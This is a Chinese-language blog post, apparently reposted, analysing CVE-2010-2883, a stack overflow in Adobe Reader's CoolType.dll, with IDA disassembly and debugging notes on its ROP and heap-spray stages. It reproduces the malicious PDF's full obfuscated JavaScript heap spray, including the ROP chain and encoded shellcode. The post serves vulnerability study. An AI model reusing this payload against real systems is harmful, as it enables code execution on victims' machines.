CVE-2010-2883

测试环境:

  Windows xp sp3

  Adobe Reader 9.3.4

 

成因:

  CoolType.dll库的strcat函数在解析SING表中的uniqueName域时未作长度检查而造成栈溢出

 

分析:

  用IDA反汇编CoolType.dll库,通过字符串查找定位漏洞位置,下面为IDA的输出:

.text:0803DBF2                 push    ebp
.text:0803DBF3                 sub     esp, 104h    ; 分配栈空间0x104
.text:0803DBF9                 lea     ebp, [esp-4]  
.text:0803DBFD                 mov     eax, dword_8230FB8
.text:0803DC02                 xor     eax, ebp
.text:0803DC04                 mov     [ebp+104h], eax
.text:0803DC0A                 push    4Ch
.text:0803DC0C                 mov     eax, offset loc_81847C4
.text:0803DC11                 call    __EH_prolog3_catch
.text:0803DC16                 mov     eax, [ebp+arg_C]
.text:0803DC1C                 mov     edi, [ebp+arg_0]
.text:0803DC22                 mov     ebx, [ebp+arg_4]
.text:0803DC28                 mov     [ebp+var_28], edi
.text:0803DC2B                 mov     [ebp+var_30], eax
.text:0803DC2E                 call    sub_8041626
.text:0803DC33                 xor     esi, esi
.text:0803DC35                 cmp     dword ptr [edi+8], 3
.text:0803DC39                 mov     [ebp+var_4], esi
.text:0803DC3C                 jz      loc_803DDF9
.text:0803DC42                 mov     [ebp+var_1C], esi
.text:0803DC45                 mov     [ebp+var_18], esi
.text:0803DC48                 cmp     dword ptr [edi+0Ch], 1
.text:0803DC4C                 mov     byte ptr [ebp+var_4], 1
.text:0803DC50                 jnz     loc_803DDA2
.text:0803DC56                 push    offset aName    ; "name"
.text:0803DC5B                 push    edi             ; int
.text:0803DC5C                 lea     ecx, [ebp+var_1C]
.text:0803DC5F                 mov     [ebp+var_11], 0
.text:0803DC63                 call    sub_802178F
.text:0803DC68                 cmp     [ebp+var_1C], esi
.text:0803DC6B                 jnz     short loc_803DCD6
.text:0803DC6D                 push    offset aSing    ; "SING"
.text:0803DC72                 push    edi             ; int
.text:0803DC73                 lea     ecx, [ebp+var_24]
.text:0803DC76                 call    sub_8021ABE
.text:0803DC7B                 mov     eax, [ebp+var_24]
.text:0803DC7E                 cmp     eax, esi
.text:0803DC80                 mov     byte ptr [ebp+var_4], 2
.text:0803DC84                 jz      short loc_803DCBD
.text:0803DC86                 mov     ecx, [eax]
.text:0803DC88                 and     ecx, 0FFFFh
.text:0803DC8E                 jz      short loc_803DC98
.text:0803DC90                 cmp     ecx, 100h
.text:0803DC96                 jnz     short loc_803DCB9
.text:0803DC98
.text:0803DC98 loc_803DC98:                            ; CODE XREF: sub_803DBF2+9Cj
.text:0803DC98                 add     eax, 10h     
.text:0803DC9B                 push    eax             ; uniqueName域
.text:0803DC9C                 lea     eax, [ebp+0]
.text:0803DC9F                 push    eax             ; 目的地址:固定大小的栈空间
.text:0803DCA0                 mov     byte ptr [ebp+0], 0
.text:0803DCA4                 call    strcat      ; 造成溢出!!!
.text:0803DCA9                 pop     ecx
.text:0803DCAA                 pop     ecx

  用PdfStreamDumper提取出pdf样本里的TTF文件,关于SING表的TableEntry结构如下:

  官方文档中对TableEntry结构的定义:

typedef  sturct_SING

{

  char  tag[4];      标记:"SING"

  ULONG  checkSum;    校验和:"0xD9BCC8B5"

  ULONG  offset;       相对文件的偏移:"0x0000011C"

  ULONG  length:      数据长度:"0x00001DDF"

} TableEntry;

  SING表数据结构:从TableEntry结构入口偏移0x11c,再偏移0x10即是uniqueName域;

 

  打开OD调试Adobe,然后打开pdf样本文件,运行期间报错忽略; 执行到strcat后,会把 “58 E0 8D AD”开始的部分复制到ebp指定的地址处(0x0012E4D8),直到遇到NULL字符;

  对上图数据窗口复制到缓冲区的紫色区域设置内存访问断点,Ctrl + F9不断执行, 多次尝试会发现中断于以下位置:

  从此处跳入ROP链中,此时栈内存分布:

  4A82A714处的指令为:

  执行后跳转进入shellcode,此时栈内存分布如下:

  0c0c0c0c处的shellcode是pdf样本里的JS代码通过Heap Spary技术实现的,JS代码提取如下:

//afjp;ajf'klaf


var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for(i=0;i<28002;i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf
var WjOZZFaiSj = unescape;
var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj( "%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000"+
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
 );
var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c");
while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2);
SP += nXzaRHPbywqAbGpGxOtozGkvQWhu;
SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2);
while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000)  //shp;aj;gfk
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC;
//hfkahgla;jgh
GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2);
var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array();
for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x1f0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";

  可以看出js代码运用了典型的堆喷射技术并做了混淆以防止被安全程序检测到。

  之后,shellcode作者利用ROP技术调用API函数将shellcode写入到一段可执行可写的内存区域,然后跳转过去,执行恶意行为;恶意行为的分析请参照《漏洞战争》第二章。

 

结论:

  本次的缓冲区溢出漏洞,其代码作者并没有用通用的方法覆盖返回地址(个人觉得貌似因为有GS保护会使得获取控制权失败),而是覆盖了虚函数地址(具体的覆盖流程一直没有调试出来,学艺不经啊!!),进而控制程序执行流程。运用ROP技术绕过了DEP保护,而构造ROP指令的地址也位于不受ASLR保护的icucnv36.dll模块,因而也绕过了ASLR。

  两处跳转地址0x4A82A714和0x4A80CB38都位于icucnv36.dll模块; 而在Adobe Reader的各版本中,这两处地址始终不变,才保持了exploit的稳定性。

 

技术总结:

  ROP

  Heap Spary

 

参考:

  《漏洞战争》

  《0day安全 软件漏洞分析技术》

 

第一次分析漏洞,不足之处多多指教。

转载于:https://www.cnblogs.com/third/p/10659808.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值